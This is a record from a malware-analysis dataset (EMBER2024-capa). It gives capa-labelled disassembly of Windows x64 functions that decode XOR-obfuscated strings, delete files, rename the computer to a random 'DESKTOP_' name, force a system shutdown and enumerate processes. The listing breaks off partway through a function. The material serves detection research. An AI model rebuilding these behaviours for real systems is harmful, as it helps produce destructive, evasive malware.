joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003444c
Capabilities:
Delete file
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov eax, 2
lea rcx, [rbp - 0x80]
lea rdx, [0x1402b1a40]
lea r8d, [rax + 0x7e]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rdx + 0x70]
add rdx, r8
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140034475
movups xmm0, xmmword [rdx]
mov eax, dword [rdx + 0x70]
xor ebx, ebx
movups xmm1, xmmword [rdx + 0x10]
mov r8d, ebx
lea r9, [rbp - 0x80]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov dword [rcx + 0x70], eax
movzx eax, word [rdx + 0x74]
mov word [rcx + 0x74], ax
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x39
xor word [r9], ax
lea r9, [r9 + 2]
cmp r8d, 0xbb
jl 0x14003450c
movups xmm0, xmmword [0x1402b1528]
mov r8d, ebx
lea r9, [rsp + 0x20]
movups xmm1, xmmword [0x1402b1538]
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [0x1402b1548]
movups xmmword [rsp + 0x30], xmm1
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x1402b1558]
movsd qword [rsp + 0x50], xmm0
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x39
xor word [r9], ax
lea r9, [r9 + 2]
cmp r8d, 0x1c
jl 0x140034576
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x80]
call fcn.140033f3c
lea rcx, [rbp + 0x110]
mov qword [rbp + 0x110], 2
call fcn.14003da84
movaps xmm0, xmmword [0x1402b1990]
lea r8, [rsp + 0x20]
movaps xmm1, xmmword [0x1402b19a0]
mov eax, dword [0x1402b19e0]
movaps xmmword [rsp + 0x20], xmm0
movaps xmm0, xmmword [0x1402b19b0]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [0x1402b19d0]
movaps xmmword [rsp + 0x30], xmm1
movaps xmm1, xmmword [0x1402b19c0]
mov dword [rsp + 0x70], eax
movzx eax, word [0x1402b19e4]
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x50], xmm1
mov word [rsp + 0x74], ax
mov eax, 0x8d3dcb09
mul ebx
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, bx
inc ebx
sub ax, cx
add ax, 0x39
xor word [r8], ax
lea r8, [r8 + 2]
cmp ebx, 0x2b
jl 0x14003461f
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rbx, qword [rsp + 0x218]
add rsp, 0x200
pop rbp
ret
Function at 0x1400350d0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1318]
mov eax, 0x13f0
call fcn.1400a1460
sub rsp, rax
mov rax, qword [0x1402c00c0]
xor rax, rsp
mov qword [rbp + 0x12e0], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
mov dword [rsp + 0x20], esi
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
lea r8d, [rsi + 0x24]
lea rdx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
lea rcx, [rsp + 0x30]
call fcn.14003e1f8
nop
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
or dword [rbp + 0x12d4], 0xffffffff
mov dword [rsp + 0x54], eax
lea r15d, [rsi + 1]
mov ecx, r15d
mov r8d, 0x270
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rsp + rcx*4 + 0x54], edx
add rcx, r15
cmp rcx, r8
jb 0x140035163
mov dword [rsp + 0x50], r8d
mov r13d, dword [rsp + 0x40]
dec r13d
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], sil
mov dword [rsp + 0x20], r15d
mov r12d, 7
mov r14, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x30]
lea rcx, [rsp + 0x50]
cmp r13d, 0xffffffff
jne 0x1400351ca
call fcn.14003f6b0
mov r8d, eax
jmp 0x140035211
lea esi, [r13 + 1]
call fcn.14003f6b0
mov r15d, esi
mov r8d, eax
imul r8, r15
cmp r8d, esi
jae 0x140035207
mov eax, esi
neg eax
xor edx, edx
div esi
mov esi, edx
cmp r8d, edx
jae 0x140035207
lea rcx, [rsp + 0x50]
call fcn.14003f6b0
mov r8d, eax
imul r8, r15
cmp r8d, esi
jb 0x1400351f1
shr r8, 0x20
xor esi, esi
lea r15d, [rsi + 1]
lea rcx, [rsp + 0x30]
cmp r14, 0xf
cmova rcx, rdi
movsxd rax, r8d
mov r9b, byte [rax + rcx]
mov rcx, qword [rbx + 0x10]
cmp rcx, qword [rbx + 0x18]
jae 0x14003524f
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140035244
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], sil
jmp 0x14003525d
mov r8b, sil
mov rdx, r15
mov rcx, rbx
call fcn.14003e2ec
sub r12, r15
jne 0x1400351b5
cmp r14, 0xf
jbe 0x1400352a0
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140035298
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140035298
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400a0ef8
mov rax, rbx
mov rcx, qword [rbp + 0x12e0]
xor rcx, rsp
call fcn.1400a07d0
lea r11, [rsp + 0x13f0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x1400352d4
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x13d0
call fcn.1400a1460
sub rsp, rax
mov rax, qword [0x1402c00c0]
xor rax, rsp
mov qword [rsp + 0x13c0], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov r13d, 0xffffffff
mov r12d, 1
mov dword [rsp + 0x34], eax
mov edx, r12d
mov dword [rsp + 0x13b4], r13d
mov r8d, 0x270
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x34], eax
add rdx, r12
cmp rdx, r8
jb 0x140035332
mov rax, qword [0x1402c1630]
mov r15, qword [0x1402c1628]
sub rax, r15
mov dword [rsp + 0x30], r8d
sar rax, 3
sub rax, r12
cmp rax, 0xffffffffffffffff
jne 0x140035394
lea rcx, [rsp + 0x30]
call fcn.14003f6b0
mov ebx, eax
lea rcx, [rsp + 0x30]
shl rbx, 0x20
call fcn.14003f6b0
mov eax, eax
or rbx, rax
jmp 0x1400354d5
lea rbp, [rax + 1]
mov rdi, r13
mov esi, r12d
cmp r13, rax
jae 0x1400353b2
shl rdi, 0x20
add esi, r12d
or rdi, r13
cmp rdi, rax
jb 0x1400353a3
lea rcx, [rsp + 0x30]
call fcn.14003f6b0
lea r14d, [rsi - 1]
mov ebx, eax
mov esi, r14d
test r14d, r14d
je 0x1400353e2
lea rcx, [rsp + 0x30]
shl rbx, 0x20
call fcn.14003f6b0
mov eax, eax
or rbx, rax
add esi, r13d
jne 0x1400353ca
mov rax, rbp
mul rbx
mov rcx, rax
mov r8, rdx
and rcx, rdi
mov rbx, rax
cmp rcx, rbp
jae 0x14003544f
xor edx, edx
mov rax, rdi
sub rax, rbp
add rax, r12
div rbp
mov r12, rdx
cmp rcx, rdx
jae 0x14003544f
lea rcx, [rsp + 0x30]
call fcn.14003f6b0
mov ebx, eax
mov esi, r14d
test r14d, r14d
je 0x14003543b
lea rcx, [rsp + 0x30]
shl rbx, 0x20
call fcn.14003f6b0
mov eax, eax
or rbx, rax
add esi, r13d
jne 0x140035423
mov rax, rbp
mul rbx
mov rbx, rax
mov r8, rdx
and rax, rdi
cmp rax, r12
jb 0x14003540f
cmp dword [reloc.WS2_32.dll_accept], 2
jge 0x1400354b3
mov rax, rdi
movabs rcx, 0x5555555555555555
shr rax, 1
and rax, rcx
movabs rcx, 0x3333333333333333
sub rdi, rax
mov rax, rdi
and rdi, rcx
shr rax, 2
and rax, rcx
add rax, rdi
mov rcx, rax
shr rcx, 4
add rcx, rax
movabs rax, 0xf0f0f0f0f0f0f0f
and rcx, rax
movabs rax, 0x101010101010101
imul rcx, rax
shr rcx, 0x38
jmp 0x1400354b8
popcnt rcx, rdi
mov ecx, ecx
test cl, cl
je 0x1400354d5
cmp cl, 0x40
jb 0x1400354d1
movzx ecx, cl
mov rbx, r8
and ecx, 0x3f
shr rbx, cl
jmp 0x1400354d5
shrd rbx, r8, cl
mov rax, qword [r15 + rbx*8]
mov rcx, qword [rsp + 0x13c0]
xor rcx, rsp
call fcn.1400a07d0
lea r11, [rsp + 0x13d0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x14003550c
Capabilities:
Get hostname

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x1402c00c0]
xor rax, rsp
mov qword [rbp - 8], rax
mov dword [rbp - 0x60], reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea rcx, [rbp - 0x38]
call fcn.1400350d0
nop
lea r8, [rbp - 0x38]
lea rdx, str.DESKTOP_
lea rcx, [rbp - 0x58]
call fcn.14003dae4
nop
lea rcx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_SetComputerNameA]
call fcn.1400352d4
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x1400355b2
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400355ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400355ad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a0ef8
movdqa xmm0, xmmword [0x1402b2550]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140035601
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400355fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400355fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a0ef8
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400a07d0
add rsp, 0x80
pop rbp
ret

Function at 0x140035818
Capabilities:
Shutdown system

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x1402c00c0]
xor rax, rsp
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, Ordinal_41
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
xor ebx, ebx
test eax, eax
jne 0x140035850
xor al, al
jmp 0x1400358cd
lea r8, [rsp + 0x3c]
xor ecx, ecx
lea rdx, str.SeShutdownPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x38]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
xor edx, edx
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x44], 2
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x1400358aa
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14003584c
mov edx, 0x20004
mov ecx, 6
call qword [sym.imp.USER32.dll_ExitWindowsEx]
test eax, eax
je 0x1400358c0
mov bl, 1
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400a07d0
add rsp, 0x50
pop rbx
ret
Function at 0x1400358e0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x1402c00c0]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14003591f
xor al, al
jmp 0x14003596c
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor ebx, ebx
jmp 0x140035959
mov rdx, rsi
lea rcx, [rsp + 0x4c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x14003595f
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140035939
jmp 0x140035961
mov bl, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1400a07d0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140035c18
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x1d8
mov eax, 2
lea rcx, [rsp + 0x60]
lea rdx, [0x1402b2010]
lea r8d, [rax + 0x7e]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rdx + 0x70]
add rdx, r8
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140035c34
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0x60]
xor r8d, r8d
movups xmm1, xmmword [rdx + 0x10]
mov r9d, r8d
lea r10, [rsp + 0x60]
movups xmmword [rcx], xmm0
mov r11d, 0x8d3dcb09
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmmword [rcx + 0x50], xmm1
mov qword [rcx + 0x60], rax
mov eax, dword [rdx + 0x68]
mov dword [rcx + 0x68], eax
mov eax, r11d
mul r9d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r9w
inc r9d
sub ax, cx
add ax, 0x39
xor word [r10], ax
lea r10, [r10 + 2]
cmp r9d, 0xb6
jl 0x140035ccb
movups xmm0, xmmword [0x1402b1528]
lea r9, [rsp + 0x20]
movups xmm1, xmmword [0x1402b1538]
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [0x1402b1548]
movups xmmword [rsp + 0x30], xmm1
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x1402b1558]
movsd qword [rsp + 0x50], xmm0
mov eax, r11d
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x39
xor word [r9], ax
lea r9, [r9 + 2]
cmp r8d, 0x1c
jl 0x140035d30
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x60]
call fcn.140035994
add rsp, 0x1d8
ret
Function at 0x14003c3b4
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x14003c3e4
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x14003c45c
mov rax, qword [rcx + 0x40]
mov rsi, rbx
mov r9, qword [rax]
test r9, r9
je 0x14003c3fb
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14003c3fd
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14003c456
test ecx, ecx
jle 0x14003c436
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14003c456
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14003c456
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
sub rsi, rbx
mov rax, rsi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret

Function at 0x14003c478
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x14003c498
xor eax, eax
jmp 0x14003c581
cmp qword [rcx + 0x68], 0
je 0x14003c4aa
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
jmp 0x14003c581
mov rax, qword [rcx + 0x38]
mov rdi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14003c4c1
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14003c4c3
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14003c4f5
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rbx
sub rdi, rbx
sub dword [rax], ebx
mov rcx, qword [rsi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14003c57b
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14003c52c
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x14003c556
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rdi, rax
cmp rax, rbx
jne 0x14003c57b
cmp rdi, rbx
ja 0x14003c533
test rdi, rdi
je 0x14003c57b
mov r9, qword [rsi + 0x80]
mov r8, rdi
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rdi, rax
sub rbp, rdi
mov rax, rbp
add rsp, 0x20
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14003c95c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x1402c00c0]
xor rax, rsp
mov qword [rbp - 8], rax
or edi, 0xffffffff
mov esi, edx
mov rbx, rcx
cmp edx, edi
jne 0x14003c995
xor eax, eax
jmp 0x14003cab5
mov rax, qword [rcx + 0x40]
cmp qword [rax], 0
je 0x14003c9cf
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
mov rcx, r8
add rcx, qword [rax]
cmp qword [rax], rcx
jae 0x14003c9cf
lea ecx, [r8 - 1]
mov eax, esi
mov dword [rdx], ecx
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], sil
jmp 0x14003cab5
cmp qword [rbx + 0x80], 0
je 0x14003cab3
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14003ca0a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14003ca2b
movsx ecx, sil
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
cmp eax, edi
jmp 0x14003cab0
lea rax, [rbp - 0x40]
mov byte [rbp - 0x30], sil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rbp - 8]
mov qword [rsp + 0x30], rax
lea r9, [rbp - 0x2f]
lea rax, [rbp - 0x28]
mov qword [rsp + 0x28], rax
lea r8, [rbp - 0x30]
lea rax, [rbp - 0x38]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14003ca79
sub eax, 1
je 0x14003ca79
cmp eax, 2
jne 0x14003cab3
movsx ecx, byte [rbp - 0x30]
jmp 0x14003ca17
mov r14, qword [rbp - 0x40]
lea rax, [rbp - 0x28]
sub r14, rax
je 0x14003caa4
mov r9, qword [rbx + 0x80]
lea rcx, [rbp - 0x28]
mov r8, r14
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp r14, rax
jne 0x14003cab3
lea rax, [rbp - 0x30]
mov byte [rbx + 0x71], 1
cmp qword [rbp - 0x38], rax
cmovne edi, esi
mov eax, edi
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400a07d0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x14003d4d8
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x1402c00c0]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14003d547
cmp byte [rcx + 0x71], 0
je 0x14003d547
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x14003d59c
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14003d561
sub eax, 1
je 0x14003d565
cmp eax, 2
jne 0x14003d59c
mov byte [rbx + 0x71], 0
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400a07d0
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x14003d593
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14003d59c
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14003d549
xor al, al
jmp 0x14003d549

Function at 0x14003ee9c
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x1402c00c0]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rcx
mov ecx, 8
call fcn.1400a0bac
lea rcx, [0x140035d74]
mov qword [rax], rcx
mov qword [rsp + 0x30], rax
lea rdi, [rbx + 8]
mov qword [rsp + 0x28], rdi
and dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x14003f834]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbx], rax
test rax, rax
je 0x14003ef13
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400a07d0
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
and dword [rdi], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x14003f6b0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rsi
mov qword [rsp + 0x10], rdi
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x14003f714
lea r8, [r9 + 8]
mov r11d, 0x7fffffff
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
and edx, r11d
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x14003f6d4
mov ecx, dword [r9]
jmp 0x14003f7ed
cmp ecx, 0x4e0
jb 0x14003f7ed
lea r10, [r9 + 0x9c4]
mov esi, 0xe3
mov edi, dword [r10]
mov r11d, 0x7fffffff
mov eax, edi
mov edi, dword [r10 + 4]
mov edx, edi
lea r10, [r10 + 4]
xor edx, eax
and edx, r11d
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rsi, 1
jne 0x14003f735
lea r10, [r9 + 0xd50]
mov esi, 0x18c
mov edi, dword [r10]
mov eax, edi
mov edi, dword [r10 + 4]
mov edx, edi
lea r10, [r10 + 4]
xor edx, eax
and edx, r11d
